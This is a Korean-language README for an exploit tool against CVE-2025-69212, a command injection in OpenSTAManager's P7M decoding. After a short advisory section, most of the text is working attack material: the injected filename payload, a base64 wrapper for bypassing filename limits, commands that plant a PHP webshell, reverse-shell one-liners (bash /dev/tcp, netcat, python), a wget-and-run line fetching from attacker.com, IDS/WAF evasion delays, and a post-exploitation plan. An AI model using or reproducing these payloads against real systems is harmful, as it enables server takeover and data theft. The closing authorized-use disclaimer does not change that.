
OpenSTAManager v2.9.8 및 이전 버전은 P7M(서명된 XML) 파일 디코딩 기능에 중요한 OS 명령 주입 취약점을 포함하고 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2025-69212 |
| 심각도 | CRITICAL (CVSS 4.0: 9.4) |
| CWE | CWE-78: OS 명령어 삽입 |
| 취약 버전 | OpenSTAManager <= 2.9.8 |
| 취약 함수 | XML::decodeP7M() in src/Util/XML.php |
| 공격 벡터 | 업로드된 ZIP 아카이브 내 악성 파일명 |
| 인증 | 필요 (인보이스 가져오기 접근 권한이 있는 모든 사용자) |
| 영향 | 웹 서버 사용자 권한으로 완전한 원격 코드 실행 |
OpenSTAManager v2.9.8 및 이전 버전은 P7M(서명된 XML) 파일 디코딩 함수에서 심각한 OS 명령어 삽입 취약점을 포함하고 있습니다. src/Util/XML.php의 decodeP7M() 메서드는 사용자가 제어하는 파일명을 PHP의 exec() 함수에 직접 전달하며, 이 과정에서 삭제(sanitization)가 이루어지지 않아 인증된 공격자가 서버에서 임의의 시스템 명령어를 실행할 수 있습니다.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
$file 매개변수(업로드된 ZIP 아카이브 내 파일명에서 비롯됨)는 큰따옴표로 감싸져 있지만 escapeshellarg()로 삭제(sanitized)되지 않습니다. 공격자는 큰따옴표 컨텍스트를 탈출하고 임의의 셸 명령어를 주입할 수 있는 .p7m 파일명을 제작할 수 있습니다.
plugins/importFE_ZIP/actions.php:126 — 전자 인보이스가 포함된 ZIP 업로드를 처리할 때의 주요 벡터plugins/importFE/src/FatturaElettronica.php:56 — 개별 .p7m 파일을 처리하는 생성자| 기능 | 설명 |
|---|---|
--check | 대상이 취약한지 확인 (마커 파일 생성 및 확인) |
--webshell | OS 명령어 삽입을 통해 PHP 웹쉘 배포 |
--rce | 배포된 웹쉘을 통한 대화형 명령어 실행 |
--reverse-shell | 리버스 셸 트리거 (python, nc, nc-e 방식) |
--cmd | 블라인드 명령어 실행 (fire-and-forget) |
--shell-dir | 사용자 정의 웹쉘 쓰기 디렉터리 |
--method | 리버스 셸 방식 선택 |
--proxy | HTTP 프록시 지원 (Burp Suite) |
--delay | IDS/WAF 우회를 위한 요청 속도 제어 |
| 자동 탐지 | importFE_ZIP 모듈/플러그인 ID 자동 발견 |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# 자격 증명으로 로그인
python3 exploit.py -t http://target.com -u admin -p secret --check
# 기존 세션 쿠키 사용
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# 플러그인 자동 탐지 및 취약점 확인
python3 exploit.py -t http://target.com -u admin -p secret --check
# 알려진 모듈/플러그인 ID 사용
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# 기본 디렉터리(files/)에 웹쉘 배포
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# 사용자 정의 디렉터리 및 파일명
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# 웹쉘 배포 + 대화형 셸
python3 exploit.py -t http://target.com -u admin -p secret --rce
# 이전 실행에서 생성된 기존 웹쉘 사용
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash 리버스 셸 (기본, 매우 신뢰성 높음)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python 리버스 셸
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# 명령어 실행 (출력 반환 없음)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# 페이로드 다운로드 및 실행
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Burp Suite 프록시 사용
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# 요청 지연 시간 설정 (2초)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# SSL 검증 건너뛰기
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target 대상 기본 URL
Authentication:
-u, --user 로그인 사용자명
-p, --password 로그인 비밀번호
-c, --cookie 기존 PHPSESSID 값
Actions:
--check 대상이 취약한지 확인
--webshell PHP 웹쉘 배포
--rce 웹쉘을 통한 대화형 셸
--reverse-shell 리버스 셸 (LHOST LPORT)
--cmd COMMAND 블라인드 명령어 실행
Shell Options:
--shell-dir DIR 웹쉘 쓰기 디렉터리 (기본: files)
--shell-name NAME 사용자 정의 웹쉘 파일명
--method METHOD 리버스 셸 방식: bash, python, nc, nc-e
Plugin Detection:
--module-id ID OpenSTAManager 모듈 ID
--plugin-id ID importFE_ZIP 플러그인 ID
Network:
--proxy URL HTTP 프록시 URL
-k, --no-ssl-verify SSL 검증 비활성화
--delay SECONDS 요청 간 지연 시간
익스플로잇은 악성 파일명을 가진 단일 .p7m 파일이 포함된 ZIP 아카이브를 제작합니다:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
OpenSTAManager가 이 파일을 처리하면 결과 exec() 호출은 다음과 같이 됩니다:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
셸은 세미콜론을 명령어 구분자로 해석하여, 종료된 openssl 호출과 뒤따르는 echo 사이에 주입된 명령어를 실행합니다.
중요: PHP의
ZipArchive::extractTo()는 ZIP 사양에 따라 파일명의 슬래시(/)를 디렉터리 구분자로 처리합니다. 악성 파일명에/가 포함되면 아카이브 항목이 디렉터리로 분할되어 익스플로잇 페이로드가 깨집니다.
주입된 모든 명령어는 /를 완전히 피해야 합니다. 이 제약을 완전히 우회하고 PHP exec()가 중단되는 것을 방지(서버 워커를 점유하여 타임아웃을 유발할 수 있음)하기 위해, 익스플로잇은 이제 페이로드를 자동으로 Base64로 감싸고 백그라운드에서 실행합니다:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
이를 통해 내부 페이로드에서 /를 자연스럽게 사용할 수 있게 됩니다(예: /dev/tcp/10.10.14.5/4444) ZIP 구조를 깨뜨리지 않으면서.
| 방식 | 페이로드 | 필요 조건 |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat with -e support |
이제 bash 방식이 기본값이며, Linux 대상에서 가장 신뢰할 수 있는 기본 방식입니다.
importFE_ZIP 플러그인을 통해 ZIP 업로드
└── actions.php가 플러그인 핸들러로 전달
└── ZipArchive::extractTo()로 파일 추출
└── .p7m 파일 반복
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── 셸이 주입된 명령어를 해석
1. --check → 마커 파일을 통해 RCE 확인
2. --webshell → files/ 디렉터리에 PHP 셸 배치
3. --rce → 대화형 명령어 실행
4. 열거 → id, cat /etc/passwd, ifconfig
5. 피벗 → 공격자에게 리버스 셸, 사후 공격
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전 항상 적절한 승인을 받으십시오. 저자는 오용에 대한 어떠한 책임도 지지 않습니다.